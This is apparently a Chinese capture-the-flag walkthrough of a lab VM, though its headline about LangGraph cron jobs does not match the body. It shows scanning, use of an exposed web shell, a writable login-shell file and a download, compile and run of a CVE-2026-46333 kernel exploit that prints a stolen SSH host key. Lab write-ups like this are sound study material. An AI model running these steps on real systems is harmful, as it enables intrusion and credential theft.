别再半夜爬起来修定时任务了！我用 LangGraph 给它装上了“自纠错”大脑
2026/9/4 6:17:10
信息收集
扫描：
┌──(root㉿kali)-[/home/kali1] └─# nmap -A 10.31.39.181 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-06 10:21 CST Nmap scan report for 10.31.39.181 Host is up (0.00014s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.66 ((Debian)) |_http-server-header: Apache/2.4.66 (Debian) |_http-title: Bye HGBE MAC Address: 08:00:27:BA:F5:D7 (Oracle VirtualBox virtual NIC) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=7/6%OT=22%CT=1%CU=43505%PV=Y%DS=1%DC=D%G=Y%M=080027 OS:%TM=6A4B1159%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=Z%TS OS:=22)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=22)OPS(O1=M5B4ST11NW8%O2= OS:M5B4ST11NW8%O3=M5B4NNT11NW8%O4=M5B4ST11NW8%O5=M5B4ST11NW8%O6=M5B4ST11)WI OS:N(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FA OS:F0%O=M5B4NNSNW8%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3 OS:(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S= OS:Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R= OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%R OS:IPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms 10.31.39.181扫描后发现一个网站
然后用dirsearch进行扫描目录结构
┌──(root㉿kali)-[/home/kali1/hgbe] └─# dirsearch -u http://10.31.39.181/ -r /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /home/kali1/hgbe/reports/http_10.31.39.181/__26-07-06_11-03-24.txt Target: http://10.31.39.181/ [11:03:24] Starting: [11:03:25] 403 - 317B - /.ht_wsr.txt [11:03:25] 403 - 317B - /.htaccess.bak1 [11:03:25] 403 - 317B - /.htaccess.orig [11:03:25] 403 - 317B - /.htaccess.sample [11:03:25] 403 - 317B - /.htaccess.save [11:03:25] 403 - 317B - /.htaccess_extra [11:03:25] 403 - 317B - /.htaccess_orig [11:03:25] 403 - 317B - /.htaccess_sc [11:03:25] 403 - 317B - /.htaccessBAK [11:03:25] 403 - 317B - /.htaccessOLD [11:03:25] 403 - 317B - /.htaccessOLD2 [11:03:25] 403 - 317B - /.htm [11:03:25] 403 - 317B - /.html [11:03:25] 403 - 317B - /.htpasswd_test [11:03:25] 403 - 317B - /.htpasswds [11:03:25] 403 - 317B - /.httr-oauth [11:03:25] 403 - 317B - /.php [11:03:37] 403 - 317B - /server-status [11:03:37] 403 - 317B - /server-status/ Added to the queue: server-status/ [11:03:37] 200 - 4KB - /shell.php默认页面是一个头像，源码中会提到这个图片很重要。
还可以看到的是有一个shell.php，这个页面上去是一个www-data用户的shell交互页面。需要通过这个shell来进行渗透，这里我选择将www-data用户的shell反弹到我主机上进行操作。
www-data@Maze:…/www/html# cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin HGBE:x:1000:1000:,,,:/home/HGBE:/opt/a ll104567:x:1001:1001:,,,:/home/ll104567:/bin/bash mono:x:1002:1002:,,,:/home/mono:/bin/bash lzh:x:1003:1003:,,,:/home/lzh:/bin/bash能够观察到有几个通过创建的出来的用户，其中有一个名字和这个靶机同名，所以我们可以多留意一下这个用户的信息（HGBE）。其中一个信息点就是，这个用户的shell不是一个正常的shell，他的shell被设置在了/opt/a这个文件上，我们可以过去看一眼。
www-data@Maze:…/www/html# ls -al /opt total 16 drwxr-xr-x 2 root root 4096 May 15 22:39 . drwxr-xr-x 18 root root 4096 May 15 18:24 .. -rwxrwxrwx 1 root root 27 Jul 9 07:17 a -rwxrwxrwx 1 root root 10 May 15 22:39 b www-data@Maze:…/www/html# ls -al /opt/a -rwxrwxrwx 1 root root 27 Jul 9 07:17 /opt/a www-data@Maze:…/www/html# cat /opt/a #!/bin/bash exec /usr/bin/tty-clock -sc其中可以发现我们对于这个a的文件是有修改权限的，所以我们可以将HGBE的shell修改为正常的shell。至于这里的tty-clock命令则是一个用于全屏显示时间的工具。
可以将文件内容改为exec /bin/bash就行了
拿到HGBE用户权限之后，其实这个靶机重点不在于web服务，他预期解释通过观察内核更新日志然后判断内核漏洞是否在有效现有漏洞暴露出来之间。emm大概可以认为这是一次0day漏洞攻击。
#第一步肯定是通过uname来确认 HGBE@Maze:/var/log$ uname -r 7.0.7-1-liquorix-amd64 #之后就是看他的软件更新日志dpkg.log HGBE@Maze:/var/log$ grep -rniE "linux-image-" /var/log/dpkg* /var/log/dpkg.log.1:1198:2026-04-25 06:18:12 install linux-image-6.12.73+deb13-amd64:amd64 <none> 6.12.73-1 /var/log/dpkg.log.1:1199:2026-04-25 06:18:12 status half-installed linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1200:2026-04-25 06:18:18 status unpacked linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1204:2026-04-25 06:18:19 install linux-image-amd64:amd64 <none> 6.12.73-1 /var/log/dpkg.log.1:1205:2026-04-25 06:18:19 status half-installed linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1206:2026-04-25 06:18:19 status unpacked linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1212:2026-04-25 06:18:23 configure linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 <none> /var/log/dpkg.log.1:1213:2026-04-25 06:18:23 status unpacked linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1214:2026-04-25 06:18:23 status half-configured linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1215:2026-04-25 06:18:34 status installed linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1216:2026-04-25 06:18:34 configure linux-image-amd64:amd64 6.12.73-1 <none> /var/log/dpkg.log.1:1217:2026-04-25 06:18:34 status unpacked linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1218:2026-04-25 06:18:34 status half-configured linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:1219:2026-04-25 06:18:34 status installed linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2422:2026-04-29 21:47:00 install linux-image-6.19.14-1-liquorix-amd64:amd64 <none> 6.19-11.1~trixie /var/log/dpkg.log.1:2423:2026-04-29 21:47:00 status half-installed linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2424:2026-04-29 21:47:12 status unpacked linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2437:2026-04-29 21:47:16 install linux-image-liquorix-amd64:amd64 <none> 6.19-11.1~trixie /var/log/dpkg.log.1:2438:2026-04-29 21:47:16 status half-installed linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2439:2026-04-29 21:47:16 status unpacked linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2445:2026-04-29 21:47:17 configure linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie <none> /var/log/dpkg.log.1:2446:2026-04-29 21:47:17 status unpacked linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2447:2026-04-29 21:47:17 status half-configured linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2448:2026-04-29 21:47:31 status installed linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2594:2026-04-29 21:47:42 configure linux-image-liquorix-amd64:amd64 6.19-11.1~trixie <none> /var/log/dpkg.log.1:2595:2026-04-29 21:47:42 status unpacked linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2596:2026-04-29 21:47:42 status half-configured linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2597:2026-04-29 21:47:42 status installed linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2716:2026-05-11 00:11:19 install linux-image-7.0.5-1-liquorix-amd64:amd64 <none> 7.0-4.1~trixie /var/log/dpkg.log.1:2717:2026-05-11 00:11:19 status half-installed linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2718:2026-05-11 00:12:38 status unpacked linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2724:2026-05-11 00:12:39 upgrade linux-image-liquorix-amd64:amd64 6.19-11.1~trixie 7.0-4.1~trixie /var/log/dpkg.log.1:2725:2026-05-11 00:12:39 status half-configured linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2726:2026-05-11 00:12:39 status unpacked linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2727:2026-05-11 00:12:40 status half-installed linux-image-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2728:2026-05-11 00:12:40 status unpacked linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2738:2026-05-11 00:12:40 configure linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie <none> /var/log/dpkg.log.1:2739:2026-05-11 00:12:40 status unpacked linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2740:2026-05-11 00:12:40 status half-configured linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2741:2026-05-11 00:15:03 status installed linux-image-7.0.5-1-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2742:2026-05-11 00:15:03 configure linux-image-liquorix-amd64:amd64 7.0-4.1~trixie <none> /var/log/dpkg.log.1:2743:2026-05-11 00:15:03 status unpacked linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2744:2026-05-11 00:15:03 status half-configured linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2745:2026-05-11 00:15:03 status installed linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2753:2026-05-11 00:19:13 status installed linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2754:2026-05-11 00:19:13 remove linux-image-amd64:amd64 6.12.73-1 <none> /var/log/dpkg.log.1:2755:2026-05-11 00:19:13 status half-configured linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2756:2026-05-11 00:19:14 status half-installed linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2757:2026-05-11 00:19:14 status config-files linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2758:2026-05-11 00:19:14 status installed linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2759:2026-05-11 00:19:14 remove linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 <none> /var/log/dpkg.log.1:2760:2026-05-11 00:19:14 status half-configured linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2761:2026-05-11 00:19:16 status half-installed linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2762:2026-05-11 00:19:30 status config-files linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2763:2026-05-11 00:19:30 status installed linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2764:2026-05-11 00:19:30 remove linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie <none> /var/log/dpkg.log.1:2765:2026-05-11 00:19:30 status half-configured linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2766:2026-05-11 00:19:32 status half-installed linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2767:2026-05-11 00:19:45 status config-files linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2770:2026-05-11 00:19:46 purge linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie <none> /var/log/dpkg.log.1:2771:2026-05-11 00:19:46 status config-files linux-image-6.19.14-1-liquorix-amd64:amd64 6.19-11.1~trixie /var/log/dpkg.log.1:2772:2026-05-11 00:19:48 status not-installed linux-image-6.19.14-1-liquorix-amd64:amd64 <none> /var/log/dpkg.log.1:2773:2026-05-11 00:19:48 purge linux-image-amd64:amd64 6.12.73-1 <none> /var/log/dpkg.log.1:2774:2026-05-11 00:19:48 status config-files linux-image-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2775:2026-05-11 00:19:48 status not-installed linux-image-amd64:amd64 <none> /var/log/dpkg.log.1:2776:2026-05-11 00:19:48 purge linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 <none> /var/log/dpkg.log.1:2777:2026-05-11 00:19:48 status config-files linux-image-6.12.73+deb13-amd64:amd64 6.12.73-1 /var/log/dpkg.log.1:2778:2026-05-11 00:19:49 status not-installed linux-image-6.12.73+deb13-amd64:amd64 <none> /var/log/dpkg.log.1:2784:2026-05-15 18:24:33 install linux-image-7.0.7-1-liquorix-amd64:amd64 <none> 7.0-7.1~trixie /var/log/dpkg.log.1:2785:2026-05-15 18:24:33 status half-installed linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2786:2026-05-15 18:24:40 status unpacked linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2792:2026-05-15 18:24:40 upgrade linux-image-liquorix-amd64:amd64 7.0-4.1~trixie 7.0-7.1~trixie /var/log/dpkg.log.1:2793:2026-05-15 18:24:40 status half-configured linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2794:2026-05-15 18:24:40 status unpacked linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2795:2026-05-15 18:24:40 status half-installed linux-image-liquorix-amd64:amd64 7.0-4.1~trixie /var/log/dpkg.log.1:2796:2026-05-15 18:24:40 status unpacked linux-image-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2806:2026-05-15 18:24:40 configure linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie <none> /var/log/dpkg.log.1:2807:2026-05-15 18:24:40 status unpacked linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2808:2026-05-15 18:24:40 status half-configured linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2809:2026-05-15 18:24:49 status installed linux-image-7.0.7-1-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2810:2026-05-15 18:24:49 configure linux-image-liquorix-amd64:amd64 7.0-7.1~trixie <none> /var/log/dpkg.log.1:2811:2026-05-15 18:24:49 status unpacked linux-image-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2812:2026-05-15 18:24:49 status half-configured linux-image-liquorix-amd64:amd64 7.0-7.1~trixie /var/log/dpkg.log.1:2813:2026-05-15 18:24:49 status installed linux-image-liquorix-amd64:amd64 7.0-7.1~trixie大概的记录就是4-25号安装好deb13的6.12.73内核之后紧接着，4月29号引入了6.19.14-liqurix内核，这个内核时第三方的内容，优化了吞吐量功能。
之后的5-11号他有更换了7.0.4的liquorix内核，然后删除了原厂的内容。所以这台主机现在就只有一个第三方的魔改内核在维持，标准的配置文件、内核模块全部被删除。
然后我们还可以通过查看现有内核的相关变化日志/usr/share/doc/linux-image-$(uname -r)/changelog.*
HGBE@Maze:/var/log$ zcat /usr/share/doc/linux-image-$(uname -r)/changelog.* | sed -n '1,120p' linux-liquorix (7.0-7.1~trixie) trixie; urgency=medium * merge v7.0.7 * apply another wake affine optimization for Project-C - sched/alt: Skip wake_affine_idle() sync stack when prev_cpu == this_cpu * update version to 7.0.7-1 -- Steven Barrett <steven@liquorix.net> Thu, 14 May 2026 10:22:20 -0500 linux-liquorix (7.0-6) unstable; urgency=medium * merge v7.0.6 * update version to 7.0.6-1 -- Steven Barrett <steven@liquorix.net> Mon, 11 May 2026 12:43:59 -0500 linux-liquorix (7.0-5) unstable; urgency=medium * apply more TTWU optimizations for Project-C - sched/alt: Keep wakee on idle, cache-affine prev_cpu * update version to 7.0.5-2 -- Steven Barrett <steven@liquorix.net> Fri, 08 May 2026 14:09:46 -0500 linux-liquorix (7.0-4) unstable; urgency=medium * merge v7.0.5 * apply TTWU optimizations for Project-C - sched/alt: Cache LLC size as per-CPU sd_llc_size - sched/alt: Add wake_wide() to gate WF_SYNC affine wakeups - sched/alt: Align wake_wide() placement with mainline * update version to 7.0.5-1 -- Steven Barrett <steven@liquorix.net> Fri, 08 May 2026 10:32:27 -0500 linux-liquorix (7.0-3) unstable; urgency=medium * add stability fix for Project-C - sched/alt: Fix rseq switch event target * update version to 7.0.4-2 -- Steven Barrett <steven@liquorix.net> Thu, 07 May 2026 18:00:03 -0500 linux-liquorix (7.0-2) unstable; urgency=medium * merge v7.0.4 * sync lockup and hung task detection config from Zen Kernel * update version to 7.0.4-1 -- Steven Barrett <steven@liquorix.net> Thu, 07 May 2026 16:15:29 -0500 linux-liquorix (7.0-1) unstable; urgency=medium * switch to v7.0 * merge v7.0.3 * update version to 7.0.3-1 -- Steven Barrett <steven@liquorix.net> Thu, 07 May 2026 07:16:06 -0500 linux-liquorix (6.19-12) unstable; urgency=medium * backport changes in 7.0.3 - xen/privcmd: fix double free via VMA splitting - Buffer overflow in drivers/xen/sys-hypervisor.c * add patch resolve CVE-2026-31431 - crypto: algif_aead - Revert to operating out-of-place * update version to 6.19.14-2 -- Steven Barrett <steven@liquorix.net> Thu, 30 Apr 2026 12:49:23 -0500 linux-liquorix (6.19-11) unstable; urgency=medium * merge v6.19.14 * update version to 6.19.14-1 -- Steven Barrett <steven@liquorix.net> Wed, 22 Apr 2026 13:48:51 -0500 linux-liquorix (6.19-10) unstable; urgency=medium * merge v6.19.13 * sync upstream scheduler changes to Project-C - sched/alt: Mark update_rq_clock() __always_inline to match mainline - sched/alt: Mark wakeup_preempt() __always_inline to match mainline - sched/alt: Mark update_curr() __always_inline to match mainline - sched/alt: Mark sched_rq_next_task() __always_inline to match mainline * update version to 6.19.13-1 -- Steven Barrett <steven@liquorix.net> Mon, 20 Apr 2026 11:27:26 -0500 linux-liquorix (6.19-9) unstable; urgency=medium * merge v6.19.12 * add dmemcg v6 patch set for low VRAM systems * update version to 6.19.12-1 -- Steven Barrett <steven@liquorix.net> Wed, 15 Apr 2026 17:02:07 -0500 linux-liquorix (6.19-8) unstable; urgency=medium * add optimization for stress-ng context switching - sched/alt: Add wake_affine_idle() for WF_SYNC wakeups * update version to 6.19.11-2 -- Steven Barrett <steven@liquorix.net> Sat, 04 Apr 2026 12:02:51 -0500 linux-liquorix (6.19-7) unstable; urgency=medium * merge v6.19.11 * update version to 6.19.11-1 -- Steven Barrett <steven@liquorix.net> Fri, 03 Apr 2026 10:53:49 -0500 linux-liquorix (6.19-6) unstable; urgency=medium * sync upstream scheduler changes to Project-C - entry: Split generic entry into generic exception and syscall entry - sched: Match __task_rq_{,un}lock() - sched/mmcid: Optimize transitional CIDs when scheduling out * update version to 6.19.10-2拿最有特征的倒数第七段来说，这里说明了软件包名是linux-liquorix，这次的更新包版本是6.19-12，属于Debain的trixie（Debain13）或者unstable分支。
中间的条目带有（*或-）就是核心内容，说明具体的改动。
额，看的话其实不是很好能看得懂，尤其还是英语不是特别好的，所以这里直接给ai分析解释一下
i会告诉你，Project-C是Liquorix内核引入的一种嵌代进程调度器，他改变了Linux核心如何分配CPU资源给不同的进程。
当然其实这里看到copy fail漏洞补丁也不一定这个漏洞对于这个版本内容就不起作用，可能又会有这个内核版本的重构代码，可以去安全社区中寻找
那么接着我们其实信息收集的差不多了，现在了解到的信息就是这个靶机最开始是一个debian的稳定发行版本stable。但是管理员最后将他的内核换成了更加激进的版本7.0.7-liquorix一个追求极致性能的内核，并且将旧的内核都删除了，这就导致他成了一个基于debian13版本内核为7.0.7的靶机。
但是要知道的是这个内核是第三方魔改的，所以在debian中或许修复了的漏洞对他也还是有所影响。
emm，然后作者wp是写了先查看debian的tracker网站去看信息啊，不过我复盘完之后感觉怪怪的，主要是我直接去debian tracker的话找了很久，然后最后找到这个CVE在已经解决的open issues部分那一栏很下面了。也可能是我打这个靶机的时间比较晚。其实我的顺序是先去linux内核网站看他的变更日志changelog
#https://cdn.kernel.org/pub/linux/kernel/v7.x/ChangeLog-7.0.8 commit ec984f1eb8a34b75657f440ebff0dee27c9b850d Author: Greg Kroah-Hartman <gregkh@linuxfoundation.org> Date: Fri May 15 14:53:54 2026 +0200 Linux 7.0.8 Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> commit 01363cb3fbd0238ffdeb09f53e9039c9edf8a730 Author: Linus Torvalds <torvalds@linux-foundation.org> Date: Wed May 13 11:37:18 2026 -0700 ptrace: slightly saner 'get_dumpable()' logic commit 31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a upstream. The 'dumpability' of a task is fundamentally about the memory image of the task - the concept comes from whether it can core dump or not - and makes no sense when you don't have an associated mm. And almost all users do in fact use it only for the case where the task has a mm pointer. But we have one odd special case: ptrace_may_access() uses 'dumpable' to check various other things entirely independently of the MM (typically explicitly using flags like PTRACE_MODE_READ_FSCREDS). Including for threads that no longer have a VM (and maybe never did, like most kernel threads). It's not what this flag was designed for, but it is what it is. The ptrace code does check that the uid/gid matches, so you do have to be uid-0 to see kernel thread details, but this means that the traditional "drop capabilities" model doesn't make any difference for this all. Make it all make a *bit* more sense by saying that if you don't have a MM pointer, we'll use a cached "last dumpability" flag if the thread ever had a MM (it will be zero for kernel threads since it is never set), and require a proper CAP_SYS_PTRACE capability to override. Reported-by: Qualys Security Advisory <qsa@qualys.com> Cc: Oleg Nesterov <oleg@redhat.com> Cc: Kees Cook <kees@kernel.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>这里其实说的是修复了关于ptrace的一个问题，这个内核版本是7.0.8
在7.0.8，CVE-2026-46333才被修复，7.0.8是修复点，< 7.0.8可能在受影响的范围内。（其实这里能获得一个信息就是现在这个靶机的内核7.0.7-liquorix版本是受这个CVE漏洞影响的）
这里说个题外话
我在看wp的时候其实有点懵，因为我自己不会看内核版本这些东西。
但是我整体理解来说的话就是本来debian13这个版本的内核对于cve-2026-46633是修复了，但是管理员换成了第三方的7.0.7版本内核，但是这个内核并没有打上补丁，补丁在7.0.8刚修复好才发出来。emm，我后面理了一下顺序这里的话应该是先看trixie7.0.7版本是否已经与forky版本的7.0.8修复了漏洞了。因为在debian社区里面的修复漏洞顺序为先是sid—>forky/testing—>trixie。
题外话的题外话
这些标签其实是《玩具总动员》中每个角色，其中sid（玩具总动员中的那个熊孩子）代表的是长期不稳定的。forky则是后面出现的叉子玩具，因为是后面才出现所以代表的是未来，最后则是trixie则是代表稳定版本，在往前就是old了又书虫bookworm更老的是bullseye（红心，吴迪的坐骑）。
然后其实debian的官网有一个很集中的cve漏洞查询页面就是那个tracker（https://security-tracker.debian.org/tracker/source-package/linux）
所以作者在这里去liquorix.net/atom也是为了查看确认这个漏洞是否已经被更新修复了。
CVE exploits
这个漏洞的原理其实也挺有趣的
先下载漏洞到靶机上，或者说可以下载到你的渗透机上再传输。之后编译完之后利用就可以
这里直接就获得了私钥
wget https://github.com/0xBlackash/CVE-2026-46333/archive/refs/heads/main.zip HGBE@Maze:~/CVE-2026-46333-main$ gcc CVE-2026-46333.c HGBE@Maze:~/CVE-2026-46333-main$ ls a.out CVE-2026-46333.c CVE-2026-46333-shadow.c README.md HGBE@Maze:~/CVE-2026-46333-main$ ./a.out [+] CVE-2026-46333 PoC by 0xBlackash [+] Target: Steal SSH host private keys via ssh-keysign [+] Found ssh-keysign at: /usr/lib/openssh/ssh-keysign [+] Starting race attack... [+] SUCCESS! Stolen fd 3 -> /etc/ssh/ssh_host_ecdsa_key (round 13) === SSH PRIVATE KEY === -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS 1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQqIPmNvLA9W5TosXrVH0t6Az9h0Nrp LSHo86JXcgRnA/oB7XKrrCBYEkpgO8AYfVypsjmjwFrs8PeVAjpHOd5FAAAAqLNAENmzQB DZAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCog+Y28sD1blOix etUfS3oDP2HQ2uktIejzoldyBGcD+gHtcqusIFgSSmA7wBh9XKmyOaPAWuzw95UCOkc53k UAAAAgWzg1pDrbt4NhKoUvFx1XtX11pmeuSIHRqoy9mLlgDOkAAAAKcm9vdEBNdWJhbgEC AwQFBg== -----END OPENSSH PRIVATE KEY----- [+] Exploit completed successfully.这个私钥是漏洞通过利用ssh-keysign读取的。
ssh-keysign其实可以比喻成一个在公共场所的电话亭，所有人都可以用，但是他是免费的（也就是suid权限有）
这里就可以看到ssh-keysign，所以这个工具在运行的时候他是会以root身份运行。这就是root残留
举一个例子
就比如我是攻击的黑客，运行了ssh-keysign之后开启了进程。但是这个进程在舞台上因为特殊身份变成了root今晨，接着又因为我给他吃了一些畸形的数据，开始在舞台上结束自己。
这个时候我在调用pidfd_getfd()函数去复制文件描述符，但是pidfd_getfd()在执行的时候会经过__ptrace_may_access()的权限检查。但是因为进程正在退出，内存描述符指针（mm）已经被内核清空为 NULL，__ptrace_may_access()按照规则检查发现啥都没有，所以我们就能趁着这个时间将ssh-keysign启动时就已经打开的主机私钥文件，从root用户手里复制过来，这样我就能伪造ssh签名冒充合法用户。
（具体来说：pidfd_getfd() 是 Linux 提供的一个系统调用，作用是从另一个进程中复制一个已经打开的文件描述符到你自己的进程里。
这个调用在内部会触发 __ptrace_may_access() 来做权限检查（"保安查岗"）。
正常情况下，普通用户不能从 root 进程中偷东西，保安会拦住你。
但因为这个进程刚好处于 mm=NULL 的中间状态，保安跳过了检查，你就成功把 root 已经打开的SSH 主机私钥文件的描述符偷到了自己手里。）
